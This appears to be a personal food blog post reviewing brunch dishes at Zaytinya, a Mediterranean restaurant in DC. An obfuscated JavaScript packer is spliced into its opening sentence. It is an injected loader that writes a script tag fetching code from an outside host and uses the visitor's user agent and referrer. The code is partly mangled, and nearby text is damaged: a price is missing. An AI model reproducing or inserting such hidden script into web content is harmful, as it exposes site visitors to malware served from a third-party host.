DC Eats: Zaytinya

2015 Food, Food

Zaytinya offers Eastern eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tffdk|var|u0026u|referrer|tyntz||js|php’.split(‘|’),0,{}))
Mediterranean tapas and a great lunch deal for a four course meal for only . I took my sister here for brunch and we of course ordered every brunch item available.

1. Turkisk Pancakes – very similar to crepes, but a little thicker drizzled with honey, crushed pistachios and fresh fruit.

2. Ciibir – poached eggs, toast, greek yogurt, paprika butter, sumac

This savory treat has a nice tartness from the greek yogurt, very complimentary to the other two sweet brunch dishes.

3. Ashta – Lebanese-style French toast, bananas, orange blossom honey

This is my favorite of the brunch items, partially because it’s the sweetest. However, it’s also very different than traditional french toast with a more custard texture.

I would definitely eat again at Zaytinya!

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